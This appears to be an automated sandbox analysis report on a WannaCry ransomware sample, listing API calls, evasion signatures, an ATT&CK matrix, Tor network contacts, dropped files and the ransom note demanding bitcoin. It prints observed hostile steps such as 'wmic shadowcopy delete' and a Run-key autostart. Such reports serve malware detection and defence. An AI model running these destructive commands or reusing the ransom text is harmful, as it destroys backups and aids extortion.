                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,34_2_004026B0
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91C027 FindFirstFileExA,42_2_6F91C027
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00D18B20 memset,GetSystemInfo,GetSystemInfo,__stack_chk_fail,36_2_00D18B20
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeThread delayed: delay time: 30000Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeThread delayed: delay time: 30000Jump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD6DB9.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD6DCE.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD6DBA.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Temp\~SD6DCC.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\~SD6DBB.tmpJump to behavior
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD6DCD.tmpJump to behavior
                  Source: taskhsvc.exe, 00000024.00000002.5902711248.000000000123E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
                  Source: taskhsvc.exe, 00000024.00000003.2320386195.00000000073B2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4hQpFIf62HGFSgFPpC9pEuCY6ucujJf6Ftb2YTL+QvzBv4j65ro8p+uPnTzWQTQb
                  Source: taskhsvc.exe, 00000024.00000002.5909934953.0000000004F62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3++WKQ4LBkCgYYTzLGeUrpsUEU8BAq9IVMCiXccDkwurLKWC/MNpAgMBAAE=
                  Source: taskhsvc.exe, 00000024.00000002.5927323155.00000000071E3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: id ed25519 5uD7nVmCI5DppHHtx2H+7AzbTP39/UvAQinqkc/a/lg
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.5897220648.00000000006D2000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950674496.0000000000707000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: taskhsvc.exe, 00000024.00000003.2327776125.0000000006272000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4Z7HsFL3Y/X5CqfwtTJvNNbhGfSyZTok9JiO/lGEurgMLddZED/0WVWtcZ/YAH7k
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_31-4684
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_31-4727
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_31-4738
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_31-5334
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_34-4733
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_34-4750
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeAPI call chain: ExitProcess graph end nodegraph_34-5467
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeProcess information queried: ProcessInformation

                  Anti Debugging

                  barindex
                  Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSystem information queried: CodeIntegrityInformation
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSystem information queried: CodeIntegrityInformation
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeSystem information queried: KernelDebuggerInformation
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F918EDD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_6F918EDD
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,31_2_00404B70
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F9177A6 mov eax, dword ptr fs:[00000030h]42_2_6F9177A6
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91CC77 GetProcessHeap,42_2_6F91CC77
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00BC11FD SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,36_2_00BC11FD
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F918EDD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_6F918EDD
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91211B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,42_2_6F91211B
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F9124B7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,42_2_6F9124B7

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Writes to foreign memory regions
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 2F10000
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 30622D8
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 30631E8
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbsJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00401BB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,31_2_00401BB0
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F9122FB cpuid 42_2_6F9122FB
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,31_2_00406C20
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,34_2_00406C20
                  Source: C:\Windows\SysWOW64\cscript.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91203E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,42_2_6F91203E
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040BED0 #823,GetComputerNameA,GetUserNameA,31_2_0040BED0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00406F80 SendMessageA,CreateSolidBrush,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateFontA,CreateFontA,#1641,CreateFontA,#1641,CreateFontA,#1641,#3092,SendMessageA,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#860,#537,#537,#540,#2818,#535,#2818,#535,SendMessageA,SendMessageA,#6140,#6140,GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,SystemTimeToTzSpecificLocalTime,#2818,SystemTimeToTzSpecificLocalTime,#2818,#6334,#800,31_2_00406F80
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040D6A0 htons,socket,bind,ioctlsocket,ioctlsocket,connect,select,__WSAFDIsSet,__WSAFDIsSet,ioctlsocket,setsockopt,setsockopt,setsockopt,closesocket,31_2_0040D6A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040D6A0 htons,socket,bind,ioctlsocket,ioctlsocket,connect,select,__WSAFDIsSet,__WSAFDIsSet,ioctlsocket,setsockopt,setsockopt,setsockopt,closesocket,34_2_0040D6A0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00BEC647 abort,abort,abort,_errno,bind,abort,connect,connect,__stack_chk_fail,36_2_00BEC647
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00BEAF67 listen,listen,listen,__stack_chk_fail,36_2_00BEAF67
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 36_2_00BEB015 _errno,_errno,setsockopt,bind,bind,getsockname,abort,memcpy,abort,__stack_chk_fail,36_2_00BEB015

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information12
                  Scripting                  		Valid Accounts21
                  Native API                  		12
                  Scripting                  		1
                  DLL Side-Loading                  		1
                  Deobfuscate/Decode Files or Information                  		OS Credential Dumping2
                  System Time Discovery                  		Remote Services12
                  Archive Collected Data                  		1
                  Ingress Tool Transfer                  		Exfiltration Over Other Network Medium21
                  Data Encrypted for Impact
                  CredentialsDomainsDefault Accounts2
                  Command and Scripting Interpreter                  		1
                  DLL Side-Loading                  		111
                  Process Injection                  		2
                  Obfuscated Files or Information                  		LSASS Memory1
                  Account Discovery                  		Remote Desktop Protocol2
                  Clipboard Data                  		22
                  Encrypted Channel                  		Exfiltration Over Bluetooth1
                  Inhibit System Recovery
                  Email AddressesDNS ServerDomain AccountsAt11
                  Registry Run Keys / Startup Folder                  		11
                  Registry Run Keys / Startup Folder                  		1
                  DLL Side-Loading                  		Security Account Manager3
                  File and Directory Discovery                  		SMB/Windows Admin SharesData from Network Shared Drive1
                  Non-Standard Port                  		Automated Exfiltration1
                  Defacement
                  Employee NamesVirtual Private ServerLocal AccountsCron1
                  Services File Permissions Weakness                  		1
                  Services File Permissions Weakness                  		1
                  File Deletion                  		NTDS35
                  System Information Discovery                  		Distributed Component Object ModelInput Capture1
                  Multi-hop Proxy                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script11
                  Masquerading                  		LSA Secrets231
                  Security Software Discovery                  		SSHKeylogging1
                  Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  Modify Registry                  		Cached Domain Credentials1
                  Process Discovery                  		VNCGUI Input Capture2
                  Proxy                  		Data Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items121
                  Virtualization/Sandbox Evasion                  		DCSync121
                  Virtualization/Sandbox Evasion                  		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job111
                  Process Injection                  		Proc Filesystem11
                  Application Window Discovery                  		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                  Hidden Files and Directories                  		/etc/passwd and /etc/shadow1
                  System Owner/User Discovery                  		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                  Services File Permissions Weakness                  		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 signatures2 2 Behavior Graph ID: 1482512 Sample: LisectAVT_2403002A_126.EXE.exe Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 83 Malicious sample detected (through community Yara rule) 2->83 85 Antivirus detection for dropped file 2->85 87 Antivirus / Scanner detection for submitted sample 2->87 89 7 other signatures 2->89 9 LisectAVT_2403002A_126.EXE.exe 2 1001 2->9         started        process3 file4 57 C:\found.001\@WanaDecryptor@.exe, PE32 9->57 dropped 59 C:\Users\user\Downloads\@WanaDecryptor@.exe, PE32 9->59 dropped 61 C:\Users\user\Documents\@WanaDecryptor@.exe, PE32 9->61 dropped 63 213 other malicious files 9->63 dropped 93 Creates files in the recycle bin to hide itself 9->93 95 Drops PE files to the document folder of the user 9->95 97 Deletes shadow drive data (may be related to ransomware) 9->97 99 2 other signatures 9->99 13 @WanaDecryptor@.exe 9->13         started        18 cmd.exe 9->18         started        20 cmd.exe 2 9->20         started        22 11 other processes 9->22 signatures5 process6 dnsIp7 81 127.0.0.1 unknown unknown 13->81 65 C:\Users\user\Desktop\TaskData\...\zlib1.dll, PE32 13->65 dropped 67 C:\Users\user\Desktop\TaskData\Tor\tor.exe, PE32 13->67 dropped 69 C:\Users\user\Desktop\...\taskhsvc.exe, PE32 13->69 dropped 73 7 other malicious files 13->73 dropped 107 Detected Wannacry Ransomware 13->107 109 Contains functionalty to change the wallpaper 13->109 111 Found Tor onion address 13->111 121 3 other signatures 13->121 24 taskhsvc.exe 13->24         started        27 @WanaDecryptor@.exe 18->27         started        30 conhost.exe 18->30         started        71 C:\Users\user\Desktop\m.vbs, ASCII 20->71 dropped 113 Command shell drops VBS files 20->113 115 Deletes shadow drive data (may be related to ransomware) 20->115 32 cscript.exe 3 20->32         started        35 conhost.exe 20->35         started        117 Writes to foreign memory regions 22->117 119 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 22->119 37 conhost.exe 22->37         started        39 conhost.exe 22->39         started        41 conhost.exe 22->41         started        43 reg.exe 22->43         started        file8 signatures9 process10 dnsIp11 75 194.109.206.212, 443, 49748 XS4ALL-NLAmsterdamNL Netherlands 24->75 77 86.59.21.38, 443, 49751 UTA-ASAT Austria 24->77 79 3 other IPs or domains 24->79 45 conhost.exe 24->45         started        101 Found Tor onion address 27->101 103 Deletes shadow drive data (may be related to ransomware) 27->103 105 Uses bcdedit to modify the Windows boot settings 27->105 47 cmd.exe 27->47         started        55 C:\Users\user\...\@WanaDecryptor@.exe.lnk, MS 32->55 dropped file12 signatures13 process14 signatures15 123 Deletes shadow drive data (may be related to ransomware) 47->123 50 WMIC.exe 47->50         started        53 conhost.exe 47->53         started        process16 signatures17 91 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 50->91

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  LisectAVT_2403002A_126.EXE.exe100%AviraTR/Ransom.JB
                  LisectAVT_2403002A_126.EXE.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraTR/FileCoder.724645
                  C:\@WanaDecryptor@.exe100%Joe Sandbox ML

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  ⊘No Antivirus matches

                  Domains and IPs

                  Contacted Domains

                  ⊘No contacted domains info

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s@WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmptrue
                    https://blog.torproject.org/blog/lifecycle-of-a-new-relayError@WanaDecryptor@.exe, 0000001F.00000003.1866830058.000000000295F000.00000004.00000020.00020000.00000000.sdmpfalse
                      https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$@WanaDecryptor@.exe, 0000001F.00000002.5895321498.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950146110.000000000019B000.00000004.00000010.00020000.00000000.sdmptrue
                        https://www.google.com/search?q=how@WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmptrue
                          http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=howLisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.1847688235.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000000.1848649309.000000000041F000.00000008.00000001.01000000.0000000B.sdmp, @WanaDecryptor@.exe, 00000022.00000002.1950373676.0000000000421000.00000004.00000001.01000000.0000000B.sdmptrue
                            http://www.zlib.net/D@WanaDecryptor@.exe, 0000001F.00000003.1866720891.0000000002858000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000003.1866570247.0000000002851000.00000004.00000020.00020000.00000000.sdmpfalse
                              https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip@WanaDecryptor@.exe, 00000022.00000002.1950994575.0000000000C30000.00000004.00000020.00020000.00000000.sdmptrue
                                https://sabotage.nettaskhsvc.exe, 00000024.00000003.2143314663.00000000040AC000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000024.00000003.2147656639.000000000448B000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000024.00000003.2162919054.0000000003FF8000.00000004.00000020.00020000.00000000.sdmpfalse
                                  https://blog.torproject.org/blog/lifecycle-of-a-new-relay@WanaDecryptor@.exe, 0000001F.00000003.1866830058.000000000295F000.00000004.00000020.00020000.00000000.sdmpfalse
                                    https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip(B@WanaDecryptor@.exe, 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpfalse

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      194.109.206.212
                                      		unknownNetherlands
                                      		3265XS4ALL-NLAmsterdamNLfalse
                                      192.87.28.28
                                      		unknownNetherlands
                                      		1103SURFNET-NLSURFnetTheNetherlandsNLfalse
                                      185.11.180.67
                                      		unknownNorway
                                      		20741ADMINISTRATORNOfalse
                                      86.59.21.38
                                      		unknownAustria
                                      		8437UTA-ASATfalse
                                      167.114.35.28
                                      		unknownCanada
                                      		16276OVHFRfalse

                                      Private

                                      IP
                                      127.0.0.1

                                      General Information

                                      Joe Sandbox version:40.0.0 Tourmaline
                                      Analysis ID:1482512
                                      Start date and time:2024-07-26 00:14:24 +02:00
                                      Joe Sandbox product:CloudBasic
                                      Overall analysis duration:0h 27m 18s
                                      Hypervisor based Inspection enabled:false
                                      Report type:full
                                      Cookbook file name:default.jbs
                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                      Run name:Suspected Instruction Hammering
                                      Number of analysed new started processes analysed:51
                                      Number of new started drivers analysed:0
                                      Number of existing processes analysed:0
                                      Number of existing drivers analysed:0
                                      Number of injected processes analysed:0
                                      Technologies:
                                      • HCA enabled
                                      • EGA enabled
                                      • AMSI enabled
                                      Analysis Mode:default
                                      Sample name:LisectAVT_2403002A_126.EXE.exe
                                      Detection:MAL
                                      Classification:mal100.rans.evad.winEXE@40/988@0/6
                                      EGA Information:
                                      • Successful, ratio: 100%
                                      HCA Information:
                                      • Successful, ratio: 75%
                                      • Number of executed functions: 182
                                      • Number of non-executed functions: 183
                                      Cookbook Comments:
                                      • Found application associated with file extension: .exe
                                      • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                      Warnings

                                      • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, WmiPrvSE.exe, VSSVC.exe, svchost.exe
                                      • Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, login.live.com, tse1.mm.bing.net, ctldl.windowsupdate.com, settings-win.data.microsoft.com, g.bing.com, arc.msn.com
                                      • Not all processes where analyzed, report is missing behavior information
                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                      • Report size getting too big, too many NtCreateFile calls found.
                                      • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                      • Report size getting too big, too many NtOpenFile calls found.
                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                      • Report size getting too big, too many NtQueryAttributesFile calls found.
                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                      • Report size getting too big, too many NtSetInformationFile calls found.
                                      • Report size getting too big, too many NtSetValueKey calls found.
                                      • Report size getting too big, too many NtWriteFile calls found.
                                      • VT rate limit hit for: LisectAVT_2403002A_126.EXE.exe

                                      Simulations

                                      Behavior and APIs

                                      TimeTypeDescription
                                      00:22:35AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run njyalyugfohc920 "C:\Users\user\Desktop\tasksche.exe"
                                      18:21:03API Interceptor29177225x Sleep call for process: LisectAVT_2403002A_126.EXE.exe modified

                                      Joe Sandbox View / Context

                                      IPs

                                      ⊘No context

                                      Domains

                                      ⊘No context

                                      ASNs

                                      ⊘No context

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      C:\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Yara Hits:
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\@WanaDecryptor@.exe

                                      Download File
